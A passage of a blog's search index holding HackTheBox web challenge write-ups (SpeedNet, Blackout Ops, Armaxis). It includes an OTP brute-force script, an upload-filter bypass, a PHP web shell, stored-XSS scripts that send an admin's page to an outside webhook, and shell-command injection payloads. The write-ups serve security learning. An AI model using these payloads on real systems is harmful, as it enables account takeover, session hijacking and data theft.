\u0026#34; \u0026#34;Use array batching or smaller batches.\u0026#34;) warned = True else: for k, v in data.items(): if v is not None: print(\u0026#34;FOUND otp=%s -\u0026gt; %s\u0026#34; % (str(int(k[1:])).zfill(a.digits), json.dumps(v))) sys.exit(0) time.sleep(a.delay) print(\u0026#34;no hit in range\u0026#34;) sys.exit(2) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 python otf-bf.py http://VICTIM-IP:PORT/graphql \u0026#39;bc540db5-6435-460e-9ebb-626e237373eb\u0026#39; --digits 4 --start 0 --end 10000 --step 200 --delay 1 batch 0000-0199 batch 0200-0399 batch 0400-0599 batch 0600-0799 batch 0800-0999 batch 1000-1199 batch 1200-1399 batch 1400-1599 batch 1600-1799 batch 1800-1999 batch 2000-2199 batch 2200-2399 batch 2400-2599 batch 2600-2799 batch 2800-2999 batch 3000-3199 batch 3200-3399 batch 3400-3599 batch 3600-3799 batch 3800-3999 batch 4000-4199 batch 4200-4399 batch 4400-4599 batch 4600-4799 FOUND otp=4627 -\u0026gt; {\u0026#34;token\u0026#34;: \u0026#34;eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEsImlhdCI6MTc5NTYxMDkyNiwiZXhwIjoxNzk1NjE0NTI2fQ.Bm-mIiGy0P2HIG8wuomvC4D8f3biwvu1jltN8zc85uY\u0026#34;, \u0026#34;user\u0026#34;: {\u0026#34;id\u0026#34;: 1, \u0026#34;email\u0026#34;: \u0026#34;admin@speednet.htb\u0026#34;}} Tip Batch size: 200 aliases per request worked here (the official script uses 100). Above roughly 500 aliases the request was rejected as too large.\nA wrong guess and an expired code give the same answer, Invalid or expired OTP, so a sweep that outlives the 5-minute code looks exactly like a miss. Log in again right before the sweep to get a fresh token and OTP, and run it straight away.\nReaching the Flag The JWT goes in the Authorization header as the bare token, without a Bearer prefix. With it, userProfile(userId: 1) returns the admin\u0026rsquo;s own profile:\n1 {\u0026#34;query\u0026#34;:\u0026#34;\\n query GetUserProfile($userId: Int!) {\\n userProfile(userId: $userId) {\\n id\\n email\\n firstName\\n lastName\\n address\\n phoneNumber\\n twoFactorAuthEnabled\\n }\\n }\\n \u0026#34;,\u0026#34;variables\u0026#34;:{\u0026#34;userId\u0026#34;:1}} 1 {\u0026#34;data\u0026#34;:{\u0026#34;userProfile\u0026#34;:{\u0026#34;id\u0026#34;:1,\u0026#34;email\u0026#34;:\u0026#34;admin@speednet.htb\u0026#34;,\u0026#34;firstName\u0026#34;:\u0026#34;Arnold\u0026#34;,\u0026#34;lastName\u0026#34;:\u0026#34;Robin\u0026#34;,\u0026#34;address\u0026#34;:\u0026#34;West Land 123\u0026#34;,\u0026#34;phoneNumber\u0026#34;:\u0026#34;08718881012211\u0026#34;,\u0026#34;twoFactorAuthEnabled\u0026#34;:true}}} The flag is on the Billing page, so we request what it loads:\n1 {\u0026#34;query\u0026#34;:\u0026#34;\\n query {\\n currentInvoice {\\n id\\n number\\n amount\\n status\\n dueDate\\n }\\n invoiceHistory(limit: 12) {\\n id\\n number\\n amount\\n status\\n dueDate\\n }\\n }\\n \u0026#34;,\u0026#34;variables\u0026#34;:{}} Spoiler 1 {\u0026#34;data\u0026#34;:{\u0026#34;currentInvoice\u0026#34;:{\u0026#34;id\u0026#34;:1,\u0026#34;number\u0026#34;:\u0026#34;INV-2025-001\u0026#34;,\u0026#34;amount\u0026#34;:100,\u0026#34;status\u0026#34;:\u0026#34;PENDING\u0026#34;,\u0026#34;dueDate\u0026#34;:\u0026#34;1738231200000\u0026#34;},\u0026#34;invoiceHistory\u0026#34;:[{\u0026#34;id\u0026#34;:1,\u0026#34;number\u0026#34;:\u0026#34;INV-2025-001\u0026#34;,\u0026#34;amount\u0026#34;:100,\u0026#34;status\u0026#34;:\u0026#34;PENDING\u0026#34;,\u0026#34;dueDate\u0026#34;:\u0026#34;1738231200000\u0026#34;},{\u0026#34;id\u0026#34;:26,\u0026#34;number\u0026#34;:\u0026#34;INV-2024-012\u0026#34;,\u0026#34;amount\u0026#34;:1200,\u0026#34;status\u0026#34;:\u0026#34;PAID\u0026#34;,\u0026#34;dueDate\u0026#34;:\u0026#34;1733392800000\u0026#34;},.........{\u0026#34;id\u0026#34;:18,\u0026#34;number\u0026#34;:\u0026#34;HTB{gr4phql_3xpl01t_1n_a_nutsh3ll}\u0026#34;,.....]}} Full Chain Register an account (test@email.htb, mailbox provided) and browse the site: all requests go to /graphql. Introspection is enabled. The schema shows devForgotPassword, resetPassword, verifyTwoFactor and resendOTP. forgotPassword answers User not found for unknown addresses. Fuzzing the local part against speednet.htb finds admin@speednet.htb. devForgotPassword returns the reset token inline. resetPassword with that token sets a new password on the admin account. Logging in as the admin returns 2FA_REQUIRED:\u0026lt;token\u0026gt;. The OTP goes to the admin\u0026rsquo;s mailbox, which we cannot read. The OTP length (4 digits) comes from running the 2FA flow on our own account. One request per guess hits the nginx 429 limit and outlives the 5-minute OTP. GraphQL alias batching (200 guesses per request, 429s retried) finds the OTP and returns the admin JWT. With the admin JWT, userProfile(userId: 1) confirms the account and invoiceHistory (the Billing page) holds the flag. ","permalink":"https://p4n4s.com/posts/htb/challenge/speednet/","summary":"GraphQL introspection exposes a dev-only password reset mutation; the admin email is enumerated through forgotPassword, and the 4-digit 2FA OTP is brute-forced with GraphQL alias batching.","title":"HTB: Challenge - SpeedNet"},{"content":"Challenge Info Spoiler Synopsis: Blackout Ops is an entry-level web challenge. It covers discovering undocumented GraphQL fields, bypassing multipart form validation through an OpenResty/Busboy parsing quirk, and using an SVG-based XSS to lure an admin bot. The goal is to get the admin bot to visit our payload and leak the contents of the /admin page. The Empire of Volnaya has launched a secret cyber offensive \u0026ldquo;Operation Blackout\u0026rdquo; targeting key digital gateways to sow global chaos and ignite a new Cold War. As part of the elite Task Force Phoenix, you\u0026rsquo;ll penetrate their defenses, unravel hidden mechanisms, and secure critical intelligence before Volnaya plunges the world into darkness. Good luck, Agent. The balance of power depends on you.\nArtifacts Provided Application source — Node.js/Express, Apollo GraphQL, SQLite, nginx (openresty) in front Live web instance — http://VICTIM-IP:PORT Analysis Reconnaissance Registration requires an email ending in @blackouts.htb and an invite code. The source (db/database.js) seeds one directly:\n1 2 3 4 5 6 7 db.get(`SELECT * FROM users WHERE email = ?`, [\u0026#39;admin@blackouts.htb\u0026#39;], (err, row) =\u0026gt; { if (!row) { const insert = \u0026#39;INSERT INTO users (email, password, role, inviteCode, verified) VALUES (?, ?, ?, ?, ?)\u0026#39;; const adminPassword = crypto.randomBytes(32).toString(\u0026#39;hex\u0026#39;); db.run(insert, [\u0026#39;admin@blackouts.htb\u0026#39;, adminPassword, \u0026#39;admin\u0026#39;, \u0026#39;ADMININV123\u0026#39;, 1]); } }); ADMININV123 is the admin\u0026rsquo;s own invite code, not something we can re-use — invite codes are tied to a specific account by email, not a shared secret. We register our own account instead and find we still need to verify it, with no way to read our own inbox.\nThe app exposes a GraphQL endpoint. Introspection is enabled, so we enumerate the schema:\n1 { __schema { types { name } } } 1 {\u0026#34;data\u0026#34;:{\u0026#34;__schema\u0026#34;:{\u0026#34;types\u0026#34;:[{\u0026#34;name\u0026#34;:\u0026#34;Query\u0026#34;},{\u0026#34;name\u0026#34;:\u0026#34;String\u0026#34;},{\u0026#34;name\u0026#34;:\u0026#34;User\u0026#34;},{\u0026#34;name\u0026#34;:\u0026#34;ID\u0026#34;},{\u0026#34;name\u0026#34;:\u0026#34;Boolean\u0026#34;},{\u0026#34;name\u0026#34;:\u0026#34;IncidentReport\u0026#34;},{\u0026#34;name\u0026#34;:\u0026#34;Upload\u0026#34;},{\u0026#34;name\u0026#34;:\u0026#34;Int\u0026#34;},{\u0026#34;name\u0026#34;:\u0026#34;Mutation\u0026#34;}, ...]}}} 1 2 3 4 5 6 7 8 9 10 { __schema { queryType { fields { name args { name type { name kind ofType { name kind } } } } } } } 1 {\u0026#34;data\u0026#34;:{\u0026#34;__schema\u0026#34;:{\u0026#34;queryType\u0026#34;:{\u0026#34;fields\u0026#34;:[{\u0026#34;name\u0026#34;:\u0026#34;systemStatus\u0026#34;,\u0026#34;args\u0026#34;:[]},{\u0026#34;name\u0026#34;:\u0026#34;dataStorage\u0026#34;,\u0026#34;args\u0026#34;:[]},{\u0026#34;name\u0026#34;:\u0026#34;powerLevel\u0026#34;,\u0026#34;args\u0026#34;:[]},{\u0026#34;name\u0026#34;:\u0026#34;me\u0026#34;,\u0026#34;args\u0026#34;:[]},{\u0026#34;name\u0026#34;:\u0026#34;incidentReports\u0026#34;,\u0026#34;args\u0026#34;:[]},{\u0026#34;name\u0026#34;:\u0026#34;uploads\u0026#34;,\u0026#34;args\u0026#34;:[]}]}}}} me takes no arguments — it resolves off the session. Dumping its return type:\n1 { __type(name: \u0026#34;User\u0026#34;) { fields { name type { name kind } } } } 1 {\u0026#34;data\u0026#34;:{\u0026#34;__type\u0026#34;:{\u0026#34;fields\u0026#34;:[{\u0026#34;name\u0026#34;:\u0026#34;id\u0026#34;, ...},{\u0026#34;name\u0026#34;:\u0026#34;email\u0026#34;, ...},{\u0026#34;name\u0026#34;:\u0026#34;role\u0026#34;, ...},{\u0026#34;name\u0026#34;:\u0026#34;inviteCode\u0026#34;,\u0026#34;type\u0026#34;:{\u0026#34;name\u0026#34;:\u0026#34;String\u0026#34;,\u0026#34;kind\u0026#34;:\u0026#34;SCALAR\u0026#34;}},{\u0026#34;name\u0026#34;:\u0026#34;verified\u0026#34;, ...}]}}} inviteCode is exposed on our own User object, before verification:\n1 query { me { id email role inviteCode verified } } 1 {\u0026#34;data\u0026#34;:{\u0026#34;me\u0026#34;:{\u0026#34;id\u0026#34;:\u0026#34;2\u0026#34;,\u0026#34;email\u0026#34;:\u0026#34;hacker@blackouts.htb\u0026#34;,\u0026#34;role\u0026#34;:\u0026#34;user\u0026#34;,\u0026#34;inviteCode\u0026#34;:\u0026#34;XSSKVKJU\u0026#34;,\u0026#34;verified\u0026#34;:false}}} That\u0026rsquo;s our own verification code, disclosed by a field that should only matter server-side. We feed it back to verifyAccount:\n1 mutation { verifyAccount(inviteCode: \u0026#34;XSSKVKJU\u0026#34;) { id email role verified } } 1 {\u0026#34;data\u0026#34;:{\u0026#34;verifyAccount\u0026#34;:{\u0026#34;id\u0026#34;:\u0026#34;2\u0026#34;,\u0026#34;email\u0026#34;:\u0026#34;hacker@blackouts.htb\u0026#34;,\u0026#34;role\u0026#34;:\u0026#34;user\u0026#34;,\u0026#34;verified\u0026#34;:true}}} Tip We tried registering with role: \u0026quot;admin\u0026quot; directly:\n1 mutation { register(email: \u0026#34;hacker2@blackouts.htb\u0026#34;, password: \u0026#34;x\u0026#34;, role: \u0026#34;admin\u0026#34;) { id role } } GraphQL rejects this as an unknown field — register only accepts email and password. No mass-assignment here; role is hardcoded 'user' server-side.\nFingerprinting the engine confirms Apollo:\n1 2 3 4 5 graphw00f.py -d -f -t http://VICTIM-IP:PORT [!] Found GraphQL at http://VICTIM-IP:PORT/graphql [*] Discovered GraphQL Engine: (Apollo) [*] Technologies: JavaScript, Node.js, TypeScript Dumping the mutation list with return types:\n1 2 3 4 5 6 7 8 9 10 11 { __schema { mutationType { fields { name args { name type { name kind ofType { name kind } } } type { kind name ofType { kind name ofType { kind name } } } } } } } 1 2 3 4 5 6 7 8 {\u0026#34;data\u0026#34;:{\u0026#34;__schema\u0026#34;:{\u0026#34;mutationType\u0026#34;:{\u0026#34;name\u0026#34;:\u0026#34;Mutation\u0026#34;,\u0026#34;fields\u0026#34;:[ {\u0026#34;name\u0026#34;:\u0026#34;login\u0026#34;, ...}, {\u0026#34;name\u0026#34;:\u0026#34;submitIncidentReport\u0026#34;,\u0026#34;args\u0026#34;:[{\u0026#34;name\u0026#34;:\u0026#34;title\u0026#34;, ...},{\u0026#34;name\u0026#34;:\u0026#34;details\u0026#34;, ...},{\u0026#34;name\u0026#34;:\u0026#34;evidenceUrl\u0026#34;, ...}], ...}, {\u0026#34;name\u0026#34;:\u0026#34;updateIncidentReportStatus\u0026#34;, ...}, {\u0026#34;name\u0026#34;:\u0026#34;register\u0026#34;, ...}, {\u0026#34;name\u0026#34;:\u0026#34;verifyAccount\u0026#34;, ...}, {\u0026#34;name\u0026#34;:\u0026#34;regenerateInviteCode\u0026#34;,\u0026#34;args\u0026#34;:[], ...} ]}}}} incidentReports and updateIncidentReportStatus are both gated in resolvers.js on context.user.role === 'admin'. Our account is role: 'user', with no mutation able to change that — not a brute-forceable issue either, since the admin password is a random 32-byte hex generated at startup.\nsubmitIncidentReport is open to any verified user, and takes an evidenceUrl.\nUpload Filter Bypass Tip First instinct: upload a PHP webshell by renaming its extension past the Content-Disposition filename:\n1 2 3 4 Content-Disposition: form-data; name=\u0026#34;file\u0026#34;; filename=\u0026#34;shell.jpg\u0026#34; Content-Type: application/x-php \u0026lt;?php system($_GET[\u0026#34;cmd\u0026#34;]); ?\u0026gt; It uploads fine, but browsing it returns the PHP source as plain text:\nHTTP/1.1 200 OK Server: openresty/1.27.1.2 Content-Type: image/jpeg X-Powered-By: Express X-Powered-By: Express is the tell — the backend is Node, not PHP. There\u0026rsquo;s no interpreter to run it regardless of the extension stored. Dead end.\nTip We also fuzzed /files/ for classic LFI paths before looking at the source, on the chance the static route built paths unsafely:\n1 2 ffuf -w LFI-linux-and-windows_by-1N3@CrowdShield.txt -u http://VICTIM-IP:PORT/files/FUZZ :: Progress: [1156/1156] :: 0 matches Zero hits. app.js later confirms why — /files is plain express.static(), which normalizes and rejects .. segments before touching disk.\nWith source access, the real filter is in nginx.conf:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 location /upload { access_by_lua_block { ... local allowed_extensions = { \u0026#34;jpg\u0026#34;, \u0026#34;png\u0026#34;, \u0026#34;gif\u0026#34; } while true do local part_body, name, mime, filename = p:parse_part() if not part_body then break end if filename then local extension = string.match(filename, \u0026#34;%.([^.]+)$\u0026#34;) if extension then extension = extension:lower() local allowed = false for _, ext in ipairs(allowed_extensions) do if ext == extension then allowed = true break end end if not allowed then return ngx.exit(ngx.HTTP_BAD_REQUEST) end end end end ngx.req.set_body_data(body) } proxy_pass http://127.0.0.1:3000; } nginx validates the extension with its own Lua multipart parser (resty.multipart.parser), then forwards the original, unmodified bytes to Express. Express re-parses the same multipart body with @fastify/busboy, which stores the file under whatever filename it extracts:\n1 2 3 4 bb.on(\u0026#39;file\u0026#39;, (fieldname, file, filename) =\u0026gt; { const saveTo = path.join(uploadsDir, filename); // no validation at all ... }); Two different parsers reading the same bytes is the bug. We first confirmed busboy can\u0026rsquo;t be tricked into path traversal — sandbox-tested against @fastify/busboy 3.2.6 with the default preservePath: false:\nFilename sent Name busboy stored ../x1.txt x1.txt ..\\x2.txt x2.txt a/../../x6.txt x6.txt Directory components are always stripped — not the bug here. The actual mismatch is in which filename parameter each parser honors. A Content-Disposition header can legally carry both filename and the RFC 5987 filename* form:\nContent-Disposition: form-data; name=\u0026#34;file\u0026#34;; filename=\u0026#34;safe.jpg\u0026#34;; filename*=UTF-8\u0026#39;\u0026#39;safe.html Testing this against the target: nginx\u0026rsquo;s Lua parser only reads the plain filename (safe.jpg — allowed), while busboy takes whichever parameter appears last in the header and stores under that name (safe.html). Confirmed by checking uploads and fetching the result:\n1 2 3 curl -I \u0026#39;http://VICTIM-IP:PORT/files/safe.html\u0026#39; HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 Arbitrary extensions, served as the content type Express derives from that extension — including text/html, rendered and executed by a browser.\nTip The official solution delivers this same bypass as an SVG (image/svg+xml) — a script inside \u0026lt;svg\u0026gt;\u0026lt;script\u0026gt;...\u0026lt;/script\u0026gt;\u0026lt;/svg\u0026gt; still executes when the file is navigated to directly, even though it wouldn\u0026rsquo;t inside an \u0026lt;img\u0026gt; tag. We found the bypass works just as well with a plain .html file through the identical filename/filename* mismatch, which Express serves directly as text/html with no need for the SVG script-execution quirk. Functionally the same underlying bug, different payload wrapper. From Stored XSS to Admin Session resolvers.js shows what submitIncidentReport does with evidenceUrl:\n1 2 3 4 5 6 7 if (args.evidenceUrl) { db.get(\u0026#34;SELECT email, password FROM users WHERE role = \u0026#39;admin\u0026#39; LIMIT 1\u0026#34;, [], (err, adminUser) =\u0026gt; { const bot = require(\u0026#39;../bot\u0026#39;); bot.visitReport(args.evidenceUrl, adminUser.email, adminUser.password) .catch(err =\u0026gt; console.error(\u0026#34;Bot error:\u0026#34;, err)); }); } And bot.js:\n1 2 3 4 5 6 7 8 9 10 await page.goto(\u0026#34;http://127.0.0.1:1337/\u0026#34;, { waitUntil: \u0026#34;networkidle0\u0026#34; }); await page.evaluate((user, pass) =\u0026gt; { document.querySelector(\u0026#34;input[id=email]\u0026#34;).value = user; document.querySelector(\u0026#34;input[id=password]\u0026#34;).value = pass; document.querySelector(\u0026#34;button[type=submit]\u0026#34;).click(); }, admin_email, admin_password); await page.waitForNavigation(); await page.goto(url); await page.waitForNavigation(); await page.waitForTimeout(3000); A headless Chromium instance logs in as admin at http://127.0.0.1:1337 — the nginx-facing origin, not the internal :3000 Express port — then navigates to whatever evidenceUrl we supplied, in the same browser context and session.\nThe session cookie itself is out of reach:\nSet-Cookie: connect.sid=...; Path=/; HttpOnly HttpOnly blocks any JS-readable access to it. We don\u0026rsquo;t need the cookie value, though — we need a page that runs in that session, which our stored-HTML bypass already gives us.\nTip This is why the payload has to be hosted on the app\u0026rsquo;s own origin (127.0.0.1:1337/files/...) rather than an external domain. fetch() defaults to credentials: \u0026quot;same-origin\u0026quot;, so a same-origin request carries connect.sid automatically; a cross-origin one wouldn\u0026rsquo;t by default, and even forcing credentials: \u0026quot;include\u0026quot; would be blocked from reading the response — the GraphQL endpoint returns Access-Control-Allow-Origin: *, which the Fetch spec forbids combining with credentialed requests. First payload: query /graphql same-origin and exfiltrate the result.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 \u0026lt;script\u0026gt; async function fetchData() { const response = await fetch(\u0026#39;http://127.0.0.1:1337/graphql\u0026#39;, { method: \u0026#39;POST\u0026#39;, headers: { \u0026#39;Content-Type\u0026#39;: \u0026#39;application/json\u0026#39; }, body: JSON.stringify({ query: `query { incidentReports { id title details evidenceUrl submittedAt status } }` }), }); const data = await response.json(); await fetch(\u0026#39;http://requestbin.whapi.cloud/REDACTED\u0026#39;, { method: \u0026#39;POST\u0026#39;, body: JSON.stringify(data), }); } fetchData(); \u0026lt;/script\u0026gt; Tip The exfil request to requestbin initially only produced a CORS preflight OPTIONS, never the actual POST with data. Setting Content-Type: application/json on a cross-origin fetch makes it a non-simple request, forcing a preflight that requestbin didn\u0026rsquo;t answer with the right Access-Control-Allow-* headers — the browser silently dropped the real request. Dropping the explicit Content-Type header keeps it a simple request (no preflight), and the data arrives. navigator.sendBeacon() is the more robust fix, since it\u0026rsquo;s fire-and-forget and survives the bot\u0026rsquo;s browser closing shortly after navigation. Uploading this (via the filename* bypass) and submitting it as evidenceUrl gets us an authenticated admin read on incidentReports and uploads — confirming the authorization bypass — but both only contained our own test submissions.\nReading the Flag routes/pages.js has the actual target, gated independently of GraphQL:\n1 2 3 4 5 6 7 router.get(\u0026#39;/admin\u0026#39;, (req, res) =\u0026gt; { if (!req.session.user || req.session.user.role !== \u0026#39;admin\u0026#39;) { return res.redirect(\u0026#39;/dashboard\u0026#39;); } const flag = fs.readFileSync(\u0026#39;/flag.txt\u0026#39;, \u0026#39;utf8\u0026#39;); res.render(\u0026#39;admin.html\u0026#39;, { flag }); }); Same technique, new target — fetch /admin instead of /graphql, read the rendered HTML as text, and exfiltrate it whole:\n1 2 3 4 5 6 7 8 9 10 11 \u0026lt;script\u0026gt; async function fetchData() { const response = await fetch(\u0026#39;http://127.0.0.1:1337/admin\u0026#39;); const data = await response.text(); await fetch(\u0026#39;http://requestbin.whapi.cloud/REDACTED\u0026#39;, { method: \u0026#39;POST\u0026#39;, body: data, }); } fetchData(); \u0026lt;/script\u0026gt; Re-uploaded, re-submitted as evidenceUrl on a fresh incident report — the admin bot\u0026rsquo;s own /admin page, flag included, lands on our webhook.\nFull Chain Register with the invite code leaked in database.js seed logic, email @blackouts.htb. Enumerate the GraphQL schema via introspection — no auth required. Query me { inviteCode } to self-disclose our own verification code before being verified, and verify the account. Confirm incidentReports / updateIncidentReportStatus are admin-only server-side; no mass-assignment path to escalate our own role. Find the upload filter is enforced by nginx\u0026rsquo;s Lua multipart parser, separately from the busboy parser Express actually uses to store the file. Bypass it by sending both a filename (allowed extension) and filename* (real payload, any extension) — nginx checks the former, busboy stores under the latter. Upload a .html page that fetches /graphql same-origin and exfiltrates the response to a webhook. Submit the page\u0026rsquo;s URL as evidenceUrl on an incident report — the admin bot logs in and visits it, running our script inside its authenticated session. Fix the exfil request to avoid a CORS preflight (drop the JSON Content-Type header), confirm admin-level read access. Pivot the payload to fetch('/admin') instead — a route gated the same way but reading /flag.txt server-side — and exfiltrate the rendered page to capture the flag. ","permalink":"https://p4n4s.com/posts/htb/challenge/blackout-ops/","summary":"GraphQL schema abuse, a multipart filename-parser mismatch, and a stored-XSS payload riding an admin bot\u0026rsquo;s session to leak /flag.txt.","title":"HTB: Challenge - Blackout Ops"},{"content":"Challenge Info Spoiler Armaxis is a weapon-dispatch web app guarded by JWT auth. A password-reset endpoint that validates the token but never checks who it belongs to (IDOR) lets us reset the admin\u0026rsquo;s password from a token mailed to an inbox we control. As admin, the weapon \u0026ldquo;Note\u0026rdquo; field is parsed as Markdown — and the image handler drops the URL straight into execSync(curl -s ${url}), giving OS command injection → RCE.\nIn the contrary the official HTB path and description of the challenge goes as follows:\nThe challenge involves exploiting an Insecure Direct Object Reference (IDOR) vulnerability in the password reset functionality and then leveraging a Local File Inclusion (LFI) vulnerability in the markdown parser.\nArtifacts Provided Application source — the Node/Express backend (routes, auth, markdown.js). Live web instance — the Armaxis app plus a throwaway inbox bound to test@email.htb for receiving reset mail. Code-review challenge: the whole solution is readable in the source before a single request is sent.\nAnalysis Recon — the app and its two halves The login page (Armaxis) offers register / login / Forgot Password. Registering lands you on a near-empty dashboard — \u0026ldquo;No weapons dispatched yet.\u0026rdquo; — and that\u0026rsquo;s the entire footprint available to a normal user.\nTwo things stand out in source:\nAuth is JWT, HS256, and role is just a field inside the token body. Every account registers as non-admin, and the app verifies the token server-side — so forging role: admin would need the signing secret. Cracking it (hashcat -m 16500) gets nowhere; the secret is strong. Dead end, but a useful one to rule out early. A second service is in scope: the mailbox at test@email.htb, where password-reset tokens land. The reason two apps exist is the whole hint — the bug lives in the seam, in how the reset token issued to our inbox is allowed to act on another account. Stage 1 — IDOR in the password reset (→ admin) The reset flow sends a token to test@email.htb (an inbox we read). The token itself is an opaque 16-byte hex value bound server-side to a userId — nothing to tamper with there. The flaw is one layer up, in how the token is consumed:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 router.post(\u0026#34;/reset-password\u0026#34;, async (req, res) =\u0026gt; { const { token, newPassword, email } = req.body; // note: \u0026#39;email\u0026#39; is attacker-supplied if (!token || !newPassword || !email) return res.status(400).send(\u0026#34;Token, email, and new password are required.\u0026#34;); try { const reset = await getPasswordReset(token); // (1) token valid \u0026amp; unexpired? if (!reset) return res.status(400).send(\u0026#34;Invalid or expired token.\u0026#34;); const user = await getUserByEmail(email); // (2) whose password? -\u0026gt; \u0026#39;email\u0026#39; if (!user) return res.status(404).send(\u0026#34;User not found.\u0026#34;); await updateUserPassword(user.id, newPassword); // (3) reset THAT user await deletePasswordReset(token); res.send(\u0026#34;Password reset successful.\u0026#34;); } catch (err) { console.error(\u0026#34;Error resetting password:\u0026#34;, err); res.status(500).send(\u0026#34;Error resetting password.\u0026#34;); } }); 1 2 3 4 5 async function getPasswordReset(token) { const query = `SELECT * FROM password_resets WHERE token = ? AND expires_at \u0026gt; ?`; const reset = await get(query, [token, Date.now()]); return reset; // returns the row (incl. its userId) — which is then IGNORED } getPasswordReset(token) returns the reset row including the userId it was issued for — and the handler never compares it against the account being changed. Step (2) resolves the target purely from the attacker-controlled email body field, and step (3) resets that user. Token ownership and reset target are fully decoupled — textbook IDOR / missing ownership check (CWE-639 / broken access control).\nSo: request a reset to test@email.htb, read the valid token out of our inbox, then submit it against the admin\u0026rsquo;s address.\n1 2 3 4 5 POST /reset-password HTTP/1.1 Host: $TARGET Content-Type: application/json {\u0026#34;token\u0026#34;:\u0026#34;947cac8ffa93fcccec4d4398c7799c77\u0026#34;,\u0026#34;email\u0026#34;:\u0026#34;admin@armaxis.htb\u0026#34;,\u0026#34;newPassword\u0026#34;:\u0026#34;pwned123\u0026#34;} 1 2 HTTP/1.1 200 OK Password reset successful. Tip The getUserByEmail query is parameterized (SELECT * FROM users WHERE email = ?) — no SQLi, and no coaxing it to id=0. The instinct (\u0026ldquo;make the server act on a user id I shouldn\u0026rsquo;t\u0026rdquo;) is right, but the lever isn\u0026rsquo;t in the SQL; it\u0026rsquo;s the un-validated email field in the request body. Don\u0026rsquo;t burn time on the reset token contents either — it\u0026rsquo;s random and DB-bound, nothing to forge. Log in with the new admin password. The navbar gains Dispatch Weapon, and /weapons/dispatch is now reachable:\n1 2 3 4 5 6 7 8 9 router.post(\u0026#34;/weapons/dispatch\u0026#34;, authenticate, async (req, res) =\u0026gt; { const { role } = req.user; if (role !== \u0026#34;admin\u0026#34;) return res.status(403).send(\u0026#34;Access denied.\u0026#34;); const { name, price, note, dispatched_to } = req.body; // ... const parsedNote = parseMarkdown(note); // \u0026lt;-- the Note field is rendered as Markdown await dispatchWeapon(name, price, parsedNote, dispatched_to); }); Stage 2 — command injection in the Markdown parser The Note (Markdown) field is handed to parseMarkdown, which pre-processes images before rendering:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 const md = new MarkdownIt({ html: true }); function parseMarkdown(content) { if (!content) return \u0026#39;\u0026#39;; return md.render( content.replace(/\\!\\[.*?\\]\\((.*?)\\)/g, (match, url) =\u0026gt; { try { const fileContent = execSync(`curl -s ${url}`); // \u0026lt;-- url interpolated, unquoted const base64Content = Buffer.from(fileContent).toString(\u0026#39;base64\u0026#39;); return `\u0026lt;img src=\u0026#34;data:image/*;base64,${base64Content}\u0026#34; alt=\u0026#34;Embedded Image\u0026#34;\u0026gt;`; } catch (err) { return `\u0026lt;p\u0026gt;Error loading image: ${url}\u0026lt;/p\u0026gt;`; } }) ); } The intent is server-side image inlining: for every ![alt](url), fetch the bytes with curl, base64 them, and swap in a data: URI. Three failures stack:\nTemplate-string interpolation — url is concatenated raw into the command string, no quoting, no escaping, no scheme/char validation (.*? captures anything inside the parens). execSync runs via /bin/sh -c — every shell metacharacter is live: ;, |, \u0026amp;\u0026amp;, $(...), backticks, \u0026gt;. url is fully attacker-controlled — straight from the Note field through capture group 1. So ![x](http://127.0.0.1/;id) becomes curl -s http://127.0.0.1/;id → two commands. OS command injection, CWE-78.\nTip The regex is a gate. Bare ;id in the Note field renders as literal text — the /\\!\\[.*?\\]\\((.*?)\\)/ pattern only fires on a well-formed ![alt](url), so the execSync callback never runs without the image wrapper. Every payload must be shaped ![x](...). Tip Output goes into the \u0026lt;img\u0026gt;, not the page. The callback returns base64 of curl\u0026rsquo;s stdout embedded in a data: URI — and since execSync captures the whole command line\u0026rsquo;s stdout, an injected command\u0026rsquo;s output lands there too. So injected output is not echoed as visible text, but it is sitting in the \u0026lt;img src\u0026gt;: read the base64 out of the rendered DOM and decode. That turns the \u0026ldquo;blind\u0026rdquo; sink into a readable one with no listener at all. No reverse shell needed — the flag is one injected command away. Inject cat and let its stdout ride back through the parser\u0026rsquo;s own base64-into-\u0026lt;img\u0026gt; behaviour:\n![x](http://127.0.0.1/;cat /flag.txt) The callback runs curl -s http://127.0.0.1/;cat /flag.txt; curl fails harmlessly, cat dumps the flag, and execSync\u0026rsquo;s captured stdout gets base64\u0026rsquo;d into the embedded image\u0026rsquo;s src. Read it straight out of the rendered DOM and decode:\n1 2 # grab the data:image/*;base64,\u0026lt;...\u0026gt; value from the dispatched note\u0026#39;s \u0026lt;img\u0026gt; and decode echo \u0026#39;\u0026lt;base64-from-img-src\u0026gt;\u0026#39; | base64 -d Flag The decoded \u0026lt;img src\u0026gt; is the contents of /flag.txt:\nSpoiler HTB{m4rkd0wn_bugs_1n_th3_w1ld!} Tip Deviation from the intended path. Per HTB\u0026rsquo;s synopsis the second stage is an LFI, not RCE: curl honors the file:// scheme, so a payload of ![img](file:///flag.txt) makes the parser run curl -s file:///flag.txt, read the flag, and base64 it straight into the rendered \u0026lt;img src\u0026gt; — pull it from the DOM and decode. That\u0026rsquo;s the author\u0026rsquo;s route (and also a blind SSRF primitive via http://). The unquoted interpolation makes full command injection available too, which is strictly more powerful — same sink, bigger payoff. Both land the flag; file:// LFI is the minimal intended one. Full chain Armaxis (weapon-dispatch app, JWT/HS256 auth) └─ register + request password reset → token mailed to test@email.htb (inbox we read) └─ IDOR: POST /reset-password {token, email: admin@armaxis.htb, newPassword} └─ token validated but ownership never checked → admin password reset └─ log in as admin → Dispatch Weapon (Note = Markdown) └─ parseMarkdown: ![x](URL) → execSync(`curl -s ${URL}`) (unquoted) ├─ command injection: ![x](http://127.0.0.1/;cat /flag.txt) │ → stdout base64\u0026#39;d into \u0026lt;img src\u0026gt; → decode → FLAG └─ (intended) ![img](file:///flag.txt) → curl file:// LFI → FLAG Tip Both bugs are the same disease — trusting attacker-supplied input to name a privileged operand. The reset handler trusts the email body field to say whose password to change; the markdown parser trusts the image url to be a safe argument to a shell. One is broken access control, the other is command injection, but the review instinct is identical: follow every user-controlled value to the sink that consumes it, and check what it\u0026rsquo;s allowed to address. Worth keeping as a paired reference for code-review / secure-dev work. 